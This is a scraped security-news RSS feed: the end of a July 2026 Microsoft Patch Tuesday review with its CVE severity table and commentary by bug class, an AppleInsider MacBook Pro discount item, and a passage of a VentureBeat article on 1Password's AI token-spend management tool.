  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  






  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<item>
<title><![CDATA[Apple's 1TB M5 MacBook Pro falls to $1,849 in today's price war]]></title>
<description><![CDATA[A price war has erupted between Amazon and B&H, resulting in Apple's current M5 MacBook Pro 14-inch falling to $1,849. Plus save up to $500 on a multitude of models.Apple's M5 MacBook Pro is $150 off in price war - Image credit: AppleB&H and Amazon are competing for your business this Tuesday, wi...]]></description>
<link>https://tsecurity.de/de/3668514/ios-mac-os/apples-1tb-m5-macbook-pro-falls-to-1849-in-todays-price-war/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668514/ios-mac-os/apples-1tb-m5-macbook-pro-falls-to-1849-in-todays-price-war/</guid>
<pubDate>Tue, 14 Jul 2026 17:46:29 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A price war has erupted between Amazon and B&amp;H, resulting in Apple's current <a href="https://prices.appleinsider.com/product/macbook-pro-14-inch-m5/MDE14LL/A">M5 MacBook Pro 14-inch</a> falling to $1,849. Plus save up to $500 on a multitude of models.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68244-143868-macbook-pro-1tb-1849-deal-xl.jpg" alt="Open MacBook Pro laptop with abstract dark pattern on the screen, blue gradient background, and large white text reading M5 1TB $1,849 across the center" height="720"><br><span>Apple's M5 MacBook Pro is $150 off in price war - Image credit: Apple</span></div><br><a href="https://www.bhphotovideo.com/c/product/1925476-REG/apple_mde14ll_a_14_macbook_pro_m5.html/BI/1717/KBID/2301/SID/da-macp-14in-m5-1tb-1849-071426" rel="nofollow" target="_blank">B&amp;H</a> and <a href="https://www.amazon.com/dp/B0FWD623D1/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">Amazon</a> are competing for your business this Tuesday, with a $150 discount on the 10-core M5 14-inch MacBook Pro with 16GB of unified memory and 1TB of storage, bringing the price down to $1,849. Both Space Black and Silver are available for that price, with B&amp;H stating there is limited supply available.<br><br><ul><br><br><br> <a href="https://appleinsider.com/articles/26/07/14/apples-1tb-m5-macbook-pro-falls-to-1849-in-todays-price-war?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244953?urm_source=rss">Discuss on our Forums</a></ul>]]></content:encoded>
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<title><![CDATA[1Password moves into AI cost management, betting that token spend is the next enterprise budget crisis]]></title>
<description><![CDATA[1Password on Tuesday launched AI Spend and Consumption Management, a new capability embedded in its SaaS Manager platform that gives IT and finance teams a unified, real-time view of how their organizations consume and spend on AI services from vendors including Anthropic, Cursor, and OpenAI.The ...]]></description>
<link>https://tsecurity.de/de/3668120/it-nachrichten/1password-moves-into-ai-cost-management-betting-that-token-spend-is-the-next-enterprise-budget-crisis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668120/it-nachrichten/1password-moves-into-ai-cost-management-betting-that-token-spend-is-the-next-enterprise-budget-crisis/</guid>
<pubDate>Tue, 14 Jul 2026 15:32:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://1password.com/">1Password</a> on Tuesday launched <a href="https://1password.com/product/saas-manager">AI Spend and Consumption Management</a>, a new capability embedded in its SaaS Manager platform that gives IT and finance teams a unified, real-time view of how their organizations consume and spend on AI services from vendors including <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://cursor.com/">Cursor</a>, and <a href="https://openai.com/">OpenAI</a>.</p><p>The move marks the latest strategic expansion for a company that built its reputation on password management for consumers and, over the past three years, has aggressively repositioned itself as a broader identity security and SaaS governance platform for enterprise buyers. With this release, 1Password is staking a claim in one of enterprise technology's newest and most chaotic budget categories: the consumption-based cost of large language models.</p><p>"Executives want teams to build faster with AI, but that speed is creating a new kind of spending pressure," Greg Henry, 1Password's chief financial officer, said in an exclusive interview with VentureBeat. "Developers are consuming tokens at a pace that traditional budgets weren't built to manage, and IT and finance teams are being asked to forecast and justify AI investments without a clear view of what's actually driving costs."</p><p>The product, now in public preview with broad availability planned for fall 2026, connects directly to vendor admin APIs to pull token-level consumption data daily. It normalizes that data across providers into a single dashboard and allows organizations to set vendor-level spend limits, configure threshold-based alerts via Slack and email, and break down usage by team, user, vendor, and model.</p><div></div><h2><b>Why traditional software budgets can't keep up with AI token pricing</b></h2><p>The core challenge <a href="https://1password.com/">1Password</a> is targeting is structural. Traditional SaaS pricing operates on a per-seat, per-year model that is easy to budget and reconcile. AI pricing does not. Every API call to <a href="https://claude.ai/">Claude</a>, <a href="https://openai.com/index/gpt-5-6/">GPT-5.6</a>, or a <a href="https://cursor.com/docs/api">Cursor-powered coding assistant</a> consumes tokens, and the cost of those tokens varies by model, by input versus output, and by the complexity of the task. A single engineering team running agentic workflows can burn through a prepaid token budget in weeks — and the finance team may not notice until the invoice arrives.</p><p>Henry drew a sharp analogy to a problem enterprises have already lived through once. "Consumption-based pricing isn't new," he said. "We saw it arrive with cloud infrastructure, and it took years to build the tools and disciplines to manage it. AI is the next version of that shift."</p><p>That comparison resonates across the industry. When <a href="https://aws.amazon.com/">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us">Microsoft Azure</a>, and <a href="https://cloud.google.com/">Google Cloud</a> popularized consumption-based pricing for compute and storage in the 2010s, enterprises initially lacked the tooling to monitor and optimize their cloud bills. That gap spawned an entire FinOps ecosystem — companies like CloudHealth, Spot.io, and Apptio built multi-billion-dollar businesses helping organizations understand what they were spending on cloud and why. Henry is explicitly betting that AI token spend will follow the same trajectory, and that organizations that fail to build visibility now will end up, as he put it, "paying far more than they needed to, for far longer than they should have."</p><p>The scale of the coming wave lends credibility to that bet. Goldman Sachs has estimated that token consumption from AI agents alone will grow 24 times by 2030, a projection driven by the expectation that autonomous AI systems will increasingly execute multi-step workflows — booking travel, writing and deploying code, managing customer service interactions — that generate vastly more API calls than a human sitting at a chat interface.</p><h2><b>How 1Password's new dashboard tracks every token across Anthropic, Cursor, and OpenAI</b></h2><p>The new capability extends <a href="https://1password.com/product/saas-manager">1Password SaaS Manager</a>'s existing foundation of application discovery, license management, and spend analytics. It is not a standalone product. Existing SaaS Manager customers can activate it by connecting their supported AI vendor API keys, at which point consumption data flows into a dedicated AI Consumption Management dashboard. Henry confirmed that there is no separate product or add-on fee: "AI Spend and Consumption Management is available to all 1Password SaaS Manager customers."</p><p>The system provides four core functions. First, it aggregates token usage and spend across Anthropic, Cursor, and OpenAI into a single, normalized view — eliminating the need to toggle between three separate vendor dashboards with three different reporting formats. Second, it enables budget controls: organizations can set vendor-level spend limits, configure percentage-based thresholds, and receive automated alerts when prepaid balances approach depletion. Third, it disaggregates consumption by team, user, vendor, and model, allowing finance and IT to understand not just how much is being spent, but where and by whom. Fourth, it situates AI spend within the broader SaaS portfolio, helping organizations see how token costs relate to their total software investment.</p><p>Notably, the system captures consumption regardless of whether a human or an AI agent generated it. "Token consumption is captured at the API level regardless of whether a human or an agent is generating it," Henry explained. "Organizations get the total consumption picture, including the spikes that agent loops can create, which can be some of the hardest usage to catch before it becomes a problem."</p><p>That agent-level visibility matters because autonomous AI systems can generate runaway costs in ways that human users typically cannot. An agentic coding assistant stuck in a retry loop, for example, can consume thousands of dollars in tokens in minutes — with no human in the loop to notice. For now, the product alerts but does not enforce. When asked whether 1Password will eventually give organizations the ability to automatically cut off spending when a threshold is crossed, Henry said the company is "actively evaluating" automatic enforcement but emphasized that visibility must come first: "You can't enforce what you can't see."</p><h2><b>The choice of launch partners reveals where enterprise AI budgets are under the most pressure</b></h2><p>The decision to start with <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://cursor.com/">Cursor</a>, and <a href="https://openai.com/">OpenAI</a> — rather than casting a wider net — reflects where enterprise AI adoption and budget strain are most concentrated right now. Henry said the choice was driven entirely by customer demand. "Anthropic, Cursor, and OpenAI are where we're seeing the highest adoption, and where token consumption can move fast and get ahead of the teams responsible for managing it," he said. The company plans to add additional vendors based on customer demand, API availability, and budget impact, though it has not committed to a specific timeline or vendor list.</p><p>The inclusion of Cursor alongside the two major foundation model providers is telling. <a href="https://cursor.com/">Cursor</a>, an AI-powered code editor that has rapidly gained traction among developers, represents a category of AI tool where consumption is particularly difficult to forecast. Unlike a chatbot interface where a user consciously types a prompt, Cursor integrates AI suggestions directly into the development workflow, generating token consumption continuously as developers write code. That ambient, always-on consumption pattern makes it especially prone to budget overruns.</p><p>Henry also addressed who inside an organization should actually own this problem — and acknowledged that the honest answer right now is no one. "When spend is fragmented across vendor dashboards and finance teams are reconciling it monthly, you're always behind," he said. "AI spend can't be treated as a finance-only or IT-only problem." He noted that the pricing differences between models have become significant enough that the choice of which AI model a team uses is now a meaningful financial decision, one that is pulling CFOs into conversations with IT, product, and engineering leaders "in ways they never had to before."</p><p>Steve May, director of IT at ServiceTrade, a 1Password customer that has been using the capability, said it addressed a concrete planning gap. "Forecasting tools for AI consumption and spend was one of our biggest gaps in planning because we didn't have a reliable way to track it," May said. He added that the visibility has "prevented overages that would have cost far more to fix after the fact."</p><h2><b>Where 1Password fits in the fast-consolidating SaaS management market</b></h2><p>1Password is not the only company racing to solve the AI cost management problem, but the competitive landscape is still fragmented and the category is far from mature.</p><p><a href="https://zylo.com/">Zylo</a>, a SaaS management platform that Gartner has also recognized as a leader in the space, published its <a href="https://zylo.com/news/2026-saas-management-index">2026 SaaS Management Index</a> in January showing that AI-native application spend surged 393% year over year in organizations with more than 10,000 employees and 108% overall. Zylo's data also revealed that ChatGPT has become the most expensed application in enterprise environments, highlighting how AI tools are entering organizations through employee credit cards and expense reports — outside formal procurement and governance workflows. Zylo has added its own token-level cost tracking for AI vendors including Anthropic, OpenAI, Cursor, and Perplexity.</p><p>Meanwhile, according to a comparison published by <a href="https://coommit.com/blog/saas-management-platforms-2026-zylo-vs-vendr-vs-sastrify">Coommit</a> in May, <a href="https://www.vendr.com/">Vendr</a> — which focuses more on SaaS negotiation than discovery — tracks AI tools at the contract level but does not yet offer consumption-level visibility. And the FinOps Foundation reported in its 2026 State of FinOps survey that 98% of organizations now actively manage AI costs, up from just 31% in 2024. The broader SaaS management market is also consolidating rapidly. In May, Deel acquired Sastrify, a German SaaS management vendor, and began folding it into its HR platform — a signal that SaaS management capabilities are increasingly being absorbed into adjacent enterprise platforms rather than remaining standalone products.</p><p>1Password's approach differs from pure-play SaaS management competitors in one important respect: it is building AI cost management on top of an identity security platform, not a FinOps or procurement tool. The company's SaaS Manager product grew out of its 2025 acquisition of Trelica, a UK-based SaaS access management startup whose technology enabled the discovery of unsanctioned applications — so-called shadow IT. As BetaKit reported at the time of that deal, 1Password co-CEO Jeff Shiner described Trelica as "a pioneer in modern SaaS access management" and said the acquisition would accelerate 1Password's Extended Access Management product roadmap by more than a year. CRN noted that Trelica brought more than 300 SaaS integrations to the platform. That identity-first lineage gives 1Password a natural advantage in connecting spend data to specific users and teams — a linkage that matters when the question shifts from "how much are we spending on AI?" to "who is spending it, and is it delivering value?"</p><h2><b>From password manager to platform company: 1Password's $6.8 billion bet on enterprise identity</b></h2><p>The launch raises a question that Henry addressed head-on: whether a company that started as a consumer password manager can credibly compete in enterprise AI cost management.</p><p>"It doesn't feel like a stretch to us. It feels like a natural progression," he said. "For more than 20 years, 1Password has evolved alongside how our customers work. We started by protecting passwords. Then we helped organizations manage secrets, control access, and get visibility into the applications their teams rely on."</p><p>The company's evolution has been rapid. 1Password raised a $620 million Series C in January 2022 led by ICONIQ Growth, <a href="https://news.crunchbase.com/venture/1password-620m-round-cybersecurity-investor/">reaching a $6.8 billion valuation</a> — at the time, the largest funding round ever raised by a Canadian company, according to Crunchbase. The round also attracted celebrity investors including Ryan Reynolds, Scarlett Johansson, and Robert Downey Jr. As of early 2025, BetaKit reported that 1Password had surpassed $250 million in annual recurring revenue, with B2B sales accounting for nearly three-quarters of total revenue and the company claiming to be cash-flow positive.</p><p>In May 2024, 